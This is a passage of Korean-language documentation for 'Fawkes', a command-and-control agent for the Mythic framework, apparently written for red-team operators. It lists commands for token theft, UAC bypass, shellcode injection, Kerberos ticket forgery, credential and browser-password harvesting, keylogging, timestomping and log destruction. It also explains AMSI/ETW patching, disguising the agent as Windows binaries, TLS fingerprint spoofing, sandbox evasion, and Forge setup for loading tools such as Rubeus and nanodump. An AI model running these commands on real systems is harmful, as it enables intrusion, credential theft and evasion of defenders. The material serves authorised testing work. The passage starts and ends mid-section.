start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Windows 전용)** CLR v4 초기화 또는 .NET 어셈블리 실행. `execute-assembly` 작업은 AMSI+ETW를 자동 패치하고 한 단계로 어셈블리를 실행(CS execute-assembly와 유사). 세밀한 제어를 위해 -amsi_patch/-etw_patch가 있는 수동 모드.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Linux 전용)** systemd 서비스/타이머 지속성 설치, 제거 또는 나열. 사용자 또는 시스템 범위. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Windows 전용)** 다른 프로세스에서 토큰 도용: 가장하거나 이를 사용하여 프로세스 생성 (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Windows 전용)** 명명된 토큰 보관소 — 저장, 나열, 복원, 제거 및 ID 전환 기록 보기. 다시 도용하지 않고 도용/생성된 ID 간 빠른 전환 가능 (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | 프로세스 일시 중단 또는 재개. 민감한 작업 중 전술적 EDR/AV 일시 중지. Windows: NtSuspendProcess/NtResumeProcess. Linux/macOS: SIGSTOP/SIGCONT. 크로스 플랫폼 (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | 포괄적인 시스템 정보: OS 버전, 하드웨어, 메모리, 가동 시간, 도메인, .NET (Windows), SELinux/SIP 상태. `full-profile`은 자동화된 5단계 호스트 프로파일링 체인(sysinfo → ps → security-info → privesc-check → persist-enum)을 실행. 크로스 플랫폼 (T1082).
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Windows 전용)** Sysmon 설치 탐지 및 구성 추출 — 서비스/드라이버 상태, 해시 알고리즘, 옵션 플래그, 규칙 데이터 크기, 이벤트 채널. 미니필터 고도를 통해 이름 변경된 설치 탐지 (T1518.001, T1562.001).
tac | `tac -path <file>` | 파일 줄을 역순으로 출력. 최신-가장-오래된 순서로 로그 보기에 유용. 크로스 플랫폼 (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | 전체 내용을 전송하지 않고 파일의 처음 또는 마지막 N줄/바이트 읽기. 효율적인 tail을 위한 링 버퍼, 큰 파일을 위한 역방향 탐색. 크로스 플랫폼 (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(macOS 전용)** TCC (Transparency, Consent, and Control) 권한 열거. 카메라, 마이크, 화면 녹화, 전체 디스크 액세스 권한이 있는 앱 검색. 서비스별로 그룹화하고 허용 요약 표시 (T1082).
touch | `touch -path <file> [-mkdir true]` | 빈 파일 생성 또는 기존 파일 타임스탬프 업데이트. 선택적 상위 디렉토리 생성. 크로스 플랫폼 (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** 스레드 실행 하이재킹을 통해 셸코드 주입 — 기존 스레드 일시 중단, PC/RIP를 셸코드로 리디렉션, 재개. macOS는 Mach API(task_for_pid + thread_get/set_state) 사용, root 필요 (T1055.003).
threadless-inject | `threadless-inject` | **(Windows 전용)** 원격 프로세스에서 DLL 함수를 후킹하여 스레드리스 주입으로 셸코드 주입. 새 스레드를 생성하지 않아 일반 주입보다 더 은밀함.
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Kerberos 티켓 위조, 요청, 갱신, 위임 또는 인증서 인증. Forge: Golden/Silver Tickets (오프라인). Request: Overpass-the-Hash (온라인). Diamond: 실제 AS 교환 + 우회를 위한 티켓 수정. Renew: TGT 수명 연장. S4U: S4U2Self+S4U2Proxy를 통한 제한된 위임. PKINIT: ADCS/Shadow Creds에서 인증서 기반 인증. 크로스 플랫폼 (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | 파일 내용에서 문자 변환, 압축 또는 삭제. 문자 클래스 및 범위 지원. 크로스 플랫폼 (T1083).
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | 유출을 위한 고가치 파일 찾기 — 문서, 자격 증명, 구성, 데이터베이스(.db/.sqlite), 스크립트(.py/.sh/.ps1), 아카이브(.zip/.tar/.7z), 이메일 파일(.pst/.eml/.mbox), 최근 수정된 파일 또는 사용자 정의 경로 스캔. **recon-chain**: 자동화된 하위 작업 체인 — portscan → SMB 공유 열거 → share hunt → 로컬 triage (대상, 사용자 이름/비밀번호 필요). 크로스 플랫폼 (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | LDAP을 통해 도메인/포리스트 트러스트 열거 (포리스트 토폴로지, 전이성 분석, 암호화 강도, 공격 경로 식별 포함). 크로스 플랫폼 (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | 파일 타임스탬프를 수정하여 조화롭게 만듦. 가져오기, 다른 파일에서 복사, 특정 시간 설정, 디렉토리 이웃과 일치(IQR) 또는 범위 내에서 무작위 설정. `clean-prefetch`는 명명된 실행 파일에 대한 Windows Prefetch 파일을 삭제합니다. Windows는 생성 시간도 수정합니다.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Windows 전용)** RDP 세션 관리 — 나열, 하이재킹, 연결 끊기 또는 로그오프. 자격 증명 없이 세션 인수 (T1563.002).
ts | `ts [-a] [-i PID]` | **(Windows 전용)** 프로세스의 스레드 나열. 기본적으로 일시 중단됨/DelayExecution 경고 가능 스레드만 표시. 모든 스레드는 -a 사용, PID로 필터링은 -i (T1057).
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Windows 전용)** UAC 우회하여 중간에서 높은 무결성으로 상승. 8가지 기술: 레지스트리 하이재킹, 환경 변수 하이재킹, INF 파일 남용, COM CLSID 하이재킹, 모의 신뢰할 수 있는 디렉토리. 기본적으로 상승된 콜백 생성 (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | 파일에서 중복된 연속 줄 필터링 또는 계산. Count 모드는 빈도별로 정렬. 크로스 플랫폼 (T1083).
unlink | `unlink -connection_id <uuid>` | 연결된 P2P 에이전트 연결 해제 (TCP 또는 명명된 파이프). 크로스 플랫폼 (T1572).
uptime | `uptime` | 시스템 가동 시간, 부팅 시간 및 부하 평균 표시. 크로스 플랫폼 (T1082).
upload | `upload` | 청크 파일 전송으로 대상에 파일 업로드. gzip 파일의 자동 압축 해제 지원. SHA256 해시 확인.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Windows 전용)** NTFS USN 변경 저널 쿼리 또는 삭제 — 안티 포렌식을 위해 파일 작업 기록 파괴 (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | 원격 프로세스에 셸코드 주입 (inject), 에이전트 마이그레이션 (migrate: inject + exit), 또는 LD_PRELOAD .so로 새 프로세스 생성 (ldpreload: Linux 전용, ptrace 없음, Yama 우회). **Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64):** /proc/PID/mem 직접 쓰기, memfd를 통한 LD_PRELOAD. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | VM/하이퍼바이저 환경 탐지 또는 샌드박스 회피 분석. `detect`: MAC OUI, DMI/SMBIOS, VM 도구, SCSI, CPU 하이퍼바이저 플래그. `sandbox`: 점수 분석 — CPU 코어 수, RAM, 디스크, 가동 시간, 수면 타이밍, 호스트 이름, 프로세스 수, 사용자 이름. 크로스 플랫폼 (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | 영향 기술: VSS 관리 (Windows), 복구 억제 (T1490), 종료/재부팅 (T1529, 크로스 플랫폼). 파괴적 작업에는 -confirm true 필요. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | 파일 시스템 변경 사항에 대한 디렉토리 모니터링 — 폴링을 통해 새 파일, 수정된 파일 및 삭제된 파일 감지. 글로브 필터링 및 MD5 해시 감지 지원. 크로스 플랫폼 (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | 파일의 줄, 단어, 문자 및 바이트 수 계산. 글로브 패턴 필터링 및 합계가 있는 디렉토리 모드. 크로스 플랫폼 (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Windows 전용)** WDigest 일반 텍스트 자격 증명 캐싱 관리. 활성화하여 다음 로그온 시 일반 텍스트 비밀번호 캡처. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` 또는 `winrm -action check -host <target> [-username <user> -password <pass>]` | NTLM 인증으로 WinRM을 통해 원격 Windows 호스트에서 명령 실행. 패스더해시, cmd.exe 및 PowerShell 지원. `check`는 WinRM 사전 요구 사항(포트 5985/5986, 인증, 셸)을 확인. 크로스 플랫폼 (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Windows 전용)** 표시된 애플리케이션 창 열거 — HWND, PID, 프로세스 이름, 창 클래스 및 제목 표시. 검색은 제목/프로세스/클래스로 필터링. MITRE T1010.
who | `who [-all true]` | 현재 로그인한 사용자 및 활성 세션 표시. Linux: utmp 파싱. Windows: WTS API. macOS: who 명령. 크로스 플랫폼 (T1033).
whoami | `whoami` | 현재 사용자 ID 및 보안 컨텍스트 표시. Windows: 사용자 이름, SID, 토큰 유형, 무결성 수준, 그룹 구성원, 권한. Linux: 사용자, UID, GID, 그룹, 유효 역량(디코딩됨), SELinux/AppArmor 컨텍스트, 컨테이너 탐지. macOS: 사용자, UID, GID, 그룹.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Windows 전용)** COM API를 통해 WMI 쿼리, 프로세스 생성, 파일 업로드 및 스테이징 실행. upload: certutil/PowerShell 스테이징을 통해 파일 전송. exec-staged: 업로드 후 실행 및 자동 정리. `check`는 WMI 사전 요구 사항(RPC 135, WMI 연결)을 확인. MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Windows 전용)** COM API를 통한 WMI 이벤트 구독 지속성. CommandLine 및 ActiveScript (VBScript/JScript) 소비자 지원. 파일리스, 재부팅 후 유지. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | 저장된 WiFi 네트워크 프로필 및 자격 증명 복구. Windows: WLAN API, Linux: NetworkManager/wpa_supplicant/iwd, macOS: 키체인. 크로스 플랫폼 (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | 파일에 내용 쓰기 또는 웹 페이지 변조. `write`: 생성/덮어쓰기/추가 (기본값). `deface`: 웹 콘텐츠를 변조 메시지로 대체 (T1491, 안전 게이트). 크로스 플랫폼 (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Windows 전용)** DLL 함수 주소에 바이트 쓰기.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Linux/macOS 전용)** 확장 파일 속성 관리 — 나열, 가져오기, 설정, 삭제. 데이터 숨기기를 위한 Windows ADS의 Unix 대응 (T1564.004).## Forge 명령 확장
Fawkes는 [Mythic Forge](https://github.com/MythicAgents/forge) 명령 확장을 지원하여 에이전트의 기능을 외부 도구 모음으로 동적으로 확장합니다. Forge가 Mythic과 함께 설치되면 Fawkes 콜백에 대한 Mythic UI에 추가 명령이 자동으로 나타나며 에이전트 재빌드가 필요하지 않습니다.
**지원되는 도구 모음:**
| 컬렉션 | 유형 | 실행 방식 | 예시 |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET 어셈블리 | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF 파일 | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |
### 설정 (새 설치)
**1단계: Forge 설치**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge
2단계: Fawkes를 Forge의 페이로드 유형 지원에 추가
InstalledServices/forge/payload_type_support.json를 편집하고 JSON 배열에 Fawkes 항목을 추가하십시오:```json
{
"agent": "fawkes",
"bof_command": "inline-execute",
"bof_file_parameter_name": "bof_file",
"bof_argument_array_parameter_name": "coff_arguments",
"bof_entrypoint_parameter_name": "function_name",
"inline_assembly_command": "inline-assembly",
"inline_assembly_file_parameter_name": "assembly_file",
"inline_assembly_argument_parameter_name": "assembly_arguments",
"execute_assembly_command": "",
"execute_assembly_file_parameter_name": "",
"execute_assembly_argument_parameter_name": "",
"assembly_default_execution_method": "inline_assembly"
}
이것은 Forge의 일반 매개변수 인터페이스를 Fawkes의 특정 명령 이름 및 매개변수 이름에 매핑합니다. 필드 매핑:
- `bof_command` → Fawkes의 `inline-execute` 명령 (BOF/COFF 실행)
- `inline_assembly_command` → Fawkes의 `inline-assembly` 명령 (.NET 어셈블리 실행)
- `execute_assembly_command` → 비어 있음 (Fawkes는 모든 .NET 실행에 inline-assembly 사용)
- 매개변수 이름은 Fawkes의 agentfunctions가 "Forge" 매개변수 그룹에 정의한 것과 정확히 일치해야 합니다
**3단계: 재구축 및 재시작**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes
4단계: 툴 소스 등록
Mythic UI를 열고 forge_register 명령(모든 콜백에서 사용 가능)을 사용하여 툴 소스를 등록합니다. 일반적인 소스:
| Source | Type | What it provides |
|---|---|---|
| Rubeus | .NET assembly | Kerberos 공격(kerberoasting, 티켓 위조, 위임) |
| Seatbelt | .NET assembly | 호스트 보안 점검(권한, 자격 증명, 구성) |
| Certify | .NET assembly | AD 인증서 서비스 열거 및 악용 |
| SharpHound | .NET assembly | BloodHound 데이터 수집 |
| SharpUp | .NET assembly | 로컬 권한 상승 점검 |
| SharpView | .NET assembly | Active Directory 열거(PowerView 포팅) |
| nanodump | BOF | MiniDumpWriteDump를 통한 LSASS 메모리 덤프 |
| credman | BOF | Windows 자격 증명 관리자 수집 |
소스를 등록하려면 forge_register를 실행하고 commandName을 일반 소스 이름(예: forge_net_Rubeus가 아닌 Rubeus)으로 설정하고 remove를 false로 설정합니다.
등록 후 Forge는 툴 바이너리를 다운로드하고 콜백의 명령 목록에 나타나는 확장 명령(예: forge_net_Rubeus, forge_bof_nanodump)을 생성합니다.
5단계: 확인
기존 콜백은 자동으로 Forge 명령을 확인합니다 — 새 페이로드가 필요하지 않습니다. 등록된 툴을 실행하여 테스트합니다:
- 먼저
autopatch또는start-clr실행(.NET 툴을 위한 AMSI 패치) - Forge 명령 선택(예:
forge_net_Seatbelt) - 인수 입력(예:
-group=system) - 실행 — Forge는 명령을 포함된 툴 바이너리와 함께
inline-assembly로 변환합니다.
사용 팁
- .NET 툴(SharpCollection)의 경우, 먼저
start-clr를 autopatch와 함께 실행하여 CLR을 초기화하고 AMSI를 패치하십시오 — 이 작업이 없으면 Windows Defender가 어셈블리 실행을 차단할 수 있습니다. - BOF 툴(Sliver Armory)의 경우, BOF가 x64용으로 컴파일되었는지 확인하십시오.
- 특별한 빌드 매개변수가 필요하지 않습니다 — Forge 지원은 "Forge" 매개변수 그룹을 통해 Fawkes의
inline-execute및inline-assembly명령에 내장되어 있습니다. - Forge 명령은 에이전트를 다시 빌드하지 않고 기존 콜백에서 작동합니다.
- API를 통해 Forge 명령을 발행하는 경우
createTask변형에payload_type: "forge"를 포함하십시오 — 이 작업이 없으면 Mythic은 콜백 자체 페이로드 유형만 검색합니다.
인젝션 기술
PoolParty 인젝션
| 변형 | 기술 | 트리거 | Go 셸코드 |
|---|---|---|---|
| 1 | Worker Factory 시작 루틴 덮어쓰기 | 새 워커 스레드 생성 | 아니요 |
| 2 | TP_WORK 삽입 | 태스크 큐 처리 | 예 |
| 3 | TP_WAIT 삽입 | 이벤트 시그널링 | 예 |
| 4 | TP_IO 삽입 | 파일 I/O 완료 | 예 |
| 5 | TP_ALPC 삽입 | ALPC 포트 메시징 | 예 |
| 6 | TP_JOB 삽입 | 작업 개체 할당 | 예 |
| 7 | TP_DIRECT 삽입 | I/O 완료 포트 | 예 |
| 8 | TP_TIMER 삽입 | 타이머 만료 | 예 |
Opus 인젝션
| 변형 | 기술 | 대상 | Go 셸코드 |
|---|---|---|---|
| 1 | Ctrl-C 처리기 체인 | 콘솔 프로세스 전용 | 아니요 |
| 4 | PEB KernelCallbackTable | GUI 프로세스 전용 | 예 |
자세한 변형 설명은 인젝션 기술 세부 정보를 참조하십시오.
빌드 옵션
DLL 내보내기 메서드
shared(DLL) 또는 windows-shellcode 모드로 빌드할 때 dll_exports 빌드 매개변수는 포함할 DLL 내보내기를 제어합니다:
| 설정 | 내보내기 | 사용 사례 |
|---|---|---|
standard(기본값) | Run, Fire, VoidFunc | sRDI 셸코드, rundll32, 일반 로더 |
full | Standard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNow | regsvr32, svchost 서비스, COM 하이재킹 |
전체 내보내기를 사용한 실행 메서드:
| 내보내기 | 실행 | MITRE |
|---|---|---|
DllRegisterServer | regsvr32 /s fawkes.dll | T1218.010 |
DllUnregisterServer | regsvr32 /u /s fawkes.dll | T1218.010 |
ServiceMain | svchost.exe DLL 서비스(Windows만 해당) | T1543.003 |
DllGetClassObject + DllCanUnloadNow | COM 하이재킹 InprocServer32 | T1546.015 |
바이너리 인플레이션
Fawkes는 빌드 시 선택적 바이너리 인플레이션을 지원합니다. 이는 컴파일된 에이전트에 반복 바이트 블록을 포함시켜 파일 크기를 늘리거나 엔트로피 점수를 낮추는 데 사용할 수 있습니다.
두 가지 빌드 매개변수가 이를 제어합니다:
- inflate_bytes - 포함할 16진수 바이트(예:
0x90또는0x41,0x42) - inflate_count - 바이트 패턴을 반복할 횟수
바이트 패턴은 inflate_count번 반복되므로 총 추가 크기는 length(byte_pattern) * inflate_count입니다.
크기 조정에 대한 빠른 참조:
| inflate_count | 단일 바이트(예: 0x90) | 두 바이트(예: 0x41,0x42) |
|---|---|---|
| 1,000 | 1KB | 2KB |
| 10,000 | 10KB | 20KB |
| 100,000 | 100KB | 200KB |
| 1,000,000 | 1MB | 2MB |
| 3,000,000 | 3MB | 6MB |
| 10,000,000 | 10MB | 20MB |
인플레이션이 구성되지 않은 경우 바이너리에 1바이트의 오버헤드만 추가됩니다.
PE 리소스 포함(Windows만 해당)
Windows PE 바이너리에는 파일 속성, 작업 관리자 및 탐색기에서 볼 수 있는 메타데이터 리소스(버전 정보, 아이콘, UAC 매니페스트)가 포함되어 있습니다. 기본 Go 바이너리에는 이 메타데이터가 전혀 없으며, 이는 보안 도구 및 분석가에게 강력한 탐지 신호입니다.
Fawkes는 빌드 시 PE 리소스를 포함하여 합법적인 Windows 바이너리로 가장하는 것을 지원합니다:
빌드 매개변수:
| Parameter | Type | Description |
|---|---|---|
pe_preset | Choose | 빠른 가장 사전 설정(notepad, svchost, cmd, explorer 등) |
pe_company | String | CompanyName(예: "Microsoft Corporation") |
pe_description | String | FileDescription — 작업 관리자에서 볼 수 있음 |
pe_product | String | ProductName |
pe_version | String | File/Product 버전(예: "10.0.19041.1") |
pe_copyright | String | LegalCopyright |
pe_original_filename | String | OriginalFilename — 법의학 도구에서 볼 수 있음 |
pe_icon | File | 사용자 지정 .ico 또는 .png 아이콘 파일 |
pe_manifest | Choose | UAC 수준: asInvoker, highestAvailable, requireAdministrator |
사전 설정(실제 버전 정보가 있는 10가지 일반적인 Windows 바이너리):
notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker
개별 필드는 사전 설정 값을 재정의합니다. PE 리소스 매개변수가 설정되지 않은 경우 바이너리는 기본 Go 출력에서 변경되지 않습니다.
OPSEC 기능
아티팩트 추적
Fawkes는 opsec 관련 명령에 대해 아티팩트를 자동으로 Mythic에 등록합니다. 아티팩트는 Mythic UI의 아티팩트 탭에 나타나 운영자가 엔게이지먼트 중에 생성된 모든 법의학 지표를 명확하게 파악할 수 있도록 합니다.
추적되는 아티팩트 유형:
| 유형 | 명령 |
|---|---|
| 프로세스 생성 | run, powershell, spawn, argue |
| API 호출 | net-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (create/delete), psexec |
| 프로세스 종료 | kill |
| 프로세스 인젝트 | vanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack |
| 파일 쓰기 | upload, cp, mv |
| 파일 생성 | mkdir |
| 파일 삭제 | rm |
| 파일 수정 | timestomp |
| 레지스트리 쓰기 | reg (write/delete), remote-reg (set/delete), persist (registry, com-hijack, screensaver methods), uac-bypass, defender (add/remove-exclusion) |
| 레지스트리 저장 | reg (save/creds) |
| 원격 레지스트리 | remote-reg (query/enum/set/delete via WinReg RPC) |
| 원격 서비스 | remote-service (list/query/create/start/stop/delete/modify-path/trigger/dll-sideload via SVCCTL RPC) |
| 로그온 | make-token |
| 토큰 도용 | steal-token, getsystem |
읽기 전용 명령(ls, ps, cat, env 등)은 아티팩트를 생성하지 않습니다.
자격 증명 자격 증명 저장소 통합
자격 증명 수집 명령은 발견된 내용을 자동으로 Mythic의 Credentials 저장소에 보고하여 Mythic UI에서 검색 및 내보내기가 가능하게 합니다.
| 명령 | 자격 증명 유형 | 보고되는 내용 |
|---|---|---|
| hashdump | hash | SAM NTLM 해시(Windows), MSV1_0 NT/LM/SHA 해시(Windows, insitu-full), .kirbi 형식의 Kerberos TGT 및 서비스 티켓(Windows, tickets), /etc/shadow 해시(Linux), PBKDF2 해시(macOS) |
| kerberoast | hash | 오프라인 크래킹용 TGS 티켓 |
| asrep-roast | hash | AS-REP 해시 |
| dcsync | hash | DRSGetNCChanges를 통한 NTLM + AES 키 |
| lsa-secrets | plaintext/hash/key | 서비스 비밀번호, 캐시된 자격 증명, DPAPI 키 |
| laps | plaintext | LAPS v1 및 v2 비밀번호 |
| gpp-password | plaintext | SYSVOL의 GPP 암호화 비밀번호 |
| browser | plaintext | Chrome/Edge/Firefox 저장된 비밀번호(모든 플랫폼), 쿠키(모든 플랫폼), 기록, 자동 채우기, 북마크 |
| dpapi | plaintext/hash | DPAPI로 보호된 비밀 |
| credman | plaintext | 자격 증명 관리자 항목(덤프 작업 시) |
| make-token | plaintext | 토큰 생성에 사용된 자격 증명 |
| cred-harvest | hash/plaintext/token | 섀도 해시, 클라우드 환경 변수, 민감한 환경 변수, M365 OAuth/JWT 토큰, CDP를 통한 라이브 브라우저 쿠키/스토리지 |
| credential-prompt | plaintext | 대화 상자로 캡처된 자격 증명(macOS/Windows/Linux) |
키로깅 추적
keylog 명령은 Mythic의 Keylogs 기능과 통합됩니다. stop 또는 dump를 통해 키 입력이 반환되면 창 제목별로 자동으로 구문 분석되고 사용자 속성과 함께 Mythic의 키로깅 추적기에 전송됩니다. 키 입력은 Mythic UI에서 창 제목, 사용자 또는 키 입력 내용으로 검색할 수 있습니다.
토큰 추적
make-token 및 steal-token 명령은 토큰을 Mythic의 Callback Tokens 추적기에 등록합니다. 이를 통해 가장된 사용자 ID 및 소스 프로세스를 포함하여 각 콜백과 연결된 토큰을 확인할 수 있습니다. rev2self 명령은 가장이 해제될 때 추적된 토큰을 자동으로 제거합니다.
TLS 인증서 확인
에이전트가 C2 서버와 통신할 때 HTTPS 인증서의 유효성을 검사하는 방법을 제어합니다. tls_verify 매개변수를 통해 빌드 시 구성됩니다:
| 모드 | 설명 |
|---|---|
none | 모든 TLS 확인 생략(기본값, 이전 버전과 호환) |
system-ca | OS 신뢰 저장소에 대해 인증서 유효성 검사 |
pinned:<sha256> | 특정 인증서 지문(SHA-256 16진수)에 고정. 서버 인증서가 일치하지 않으면 에이전트가 연결을 거부합니다. |
인증서 고정은 공격자가 신뢰할 수 있는 CA를 제어하더라도 에이전트 트래픽에 대한 MITM 가로채기를 방지합니다.
TLS 지문 스푸핑(JA3)
Go의 표준 TLS 스택은 네트워크 보안 도구가 비브라우저 트래픽으로 식별할 수 있는 독특한 JA3 해시를 생성합니다. tls_fingerprint 빌드 매개변수는 uTLS를 사용하여 TLS ClientHello를 스푸핑하여 브라우저와 일치하는 JA3 지문을 생성합니다.
| 지문 | 설명 |
|---|---|
chrome | Chrome/Chromium(기본값) — 가장 일반적인 브라우저, 혼합에 가장 적합 |
firefox | Firefox |
safari | Safari |
edge | Microsoft Edge |
rotate | 연결당 Chrome/Firefox/Safari/Edge를 무작위로 선택(JA3 상관 관계 방지) |
random | 완전히 무작위화된 지문(브라우저 일치 아님) |
go | 스푸핑 없음 — Go의 기본 TLS 스택 사용 |
상호 TLS(mTLS) 클라이언트 인증서 인증
HTTP C2 프로필에 클라이언트 인증서 인증을 추가합니다. 구성된 경우 에이전트는 TLS 핸드셰이크 중에 클라이언트 인증서를 제시하여 C2 서버가 에이전트 ID를 확인할 수 있도록 합니다. 이는 수동 HTTPS 가로채기 및 프록시 MITM 공격을 방지합니다.
| 매개변수 | 설명 |
|---|---|
mtls_cert | PEM 인코딩된 클라이언트 인증서 |
mtls_key | PEM 인코딩된 클라이언트 개인 키 |
인증서/키는 빌드 시 base64 인코딩되고, 문자열 난독화가 활성화된 경우 XOR 암호화되며, 런타임 시 AES-256-GCM 구성 저장소에 저장됩니다. 기존 TLS 확인 모드 및 JA3 지문 스푸핑과 결합됩니다.
대체 C2 URL
여러 C2 콜백 URL과 자동 장애 조치. 기본 콜백 호스트에 연결할 수 없는 경우 에이전트는 백오프를 적용하기 전에 투명하게 대체 URL을 순환합니다.
| 매개변수 | 설명 |
|---|---|
fallback_hosts | 쉼표로 구분된 대체 C2 호스트(예: http://backup1.example.com,https://backup2.example.com) |
기본과 동일한 포트 및 암호화. 마지막으로 성공한 URL을 기억합니다. 구성 저장소 및 XOR 난독화와 함께 작동합니다.
환경 키잉 / 가드레일
에이전트가 승인되지 않은 시스템에서 실행되지 않도록 방지합니다. 빌드 시 구성됩니다 — 검사에 실패하면 에이전트는 네트워크 연결을 하기 전에 자동으로 종료됩니다. 로깅, 아티팩트 또는 C2 트래픽이 없습니다.
| 매개변수 | 유형 | 설명 |
|---|---|---|
env_key_hostname | Regex | 호스트 이름이 일치해야 함(예: WORKSTATION-\d+ 또는 .*\.contoso\.com) |
env_key_domain | Regex | 도메인이 일치해야 함(예: CONTOSO 또는 .*\.local) |
env_key_username | Regex | 사용자 이름이 일치해야 함(예: admin.* 또는 svc_.*) |
env_key_process | String | 실행 중이어야 하는 프로세스 이름(예: outlook.exe) |
env_key_cpuid | Regex | CPU 브랜드 문자열이 일치해야 함(예: .*Intel.*i7-12700.* 또는 .*AMD.*5950X.*). 다른 CPU 모델을 가진 샌드박스에서 실행을 방지합니다. |
env_key_derive | Choice | 대상 호스트 속성에서 파생된 키로 C2 구성을 암호화합니다. 옵션: hostname, domain, username, hostname+domain, hostname+domain+username. 잘못된 호스트 = AES 복호화 실패 = 자동 종료. 정규식 일치보다 강력함 — 구성 값이 바이너리에 나타나지 않습니다. |
모든 패턴은 대소문자를 구분하지 않으며 전체 값과 일치하도록 고정됩니다. 여러 키를 결합할 수 있습니다 — 모두 통과해야 합니다. 잘못된 정규식 패턴은 실패 시 닫힘(에이전트 종료). 검사를 건너뛰려면 비워 둡니다.
환경 키 파생(env_key_derive): 설정된 경우 모든 민감한 C2 구성(콜백 호스트, UUID, 암호화 키, URI, 프록시 설정 등)은 대상 환경에서 파생된 키를 사용하여 빌드 시 AES-256-GCM으로 암호화됩니다. 런타임 시 에이전트는 자체 환경에서 키를 다시 파생합니다 — 일치하지 않으면(잘못된 호스트/도메인/사용자) 복호화가 실패하고 에이전트가 자동으로 종료됩니다. 이는 구성 값이 어떤 형태로도 바이너리에 존재하지 않기 때문에 정규식 일치보다 강력합니다. 해당 env_key_* 값에 정확한 대상 값(정규식 패턴 아님)이 포함되어야 합니다. obfuscate_strings와 함께 사용할 수 있습니다(먼저 XOR 레이어가 적용된 다음 AES-GCM).
C2 문자열 난독화
obfuscate_strings 빌드 매개변수를 활성화하면 빌드 시 무작위 32바이트 키로 모든 C2 구성 문자열(콜백 호스트, URI, 사용자 에이전트, 암호화 키, UUID)을 XOR 인코딩합니다. 바이너리에서 strings를 통한 간단한 IOC 추출을 방지합니다. 런타임 시 디코딩됩니다. 크로스 플랫폼.
자식 프로세스에 대한 BlockDLLs
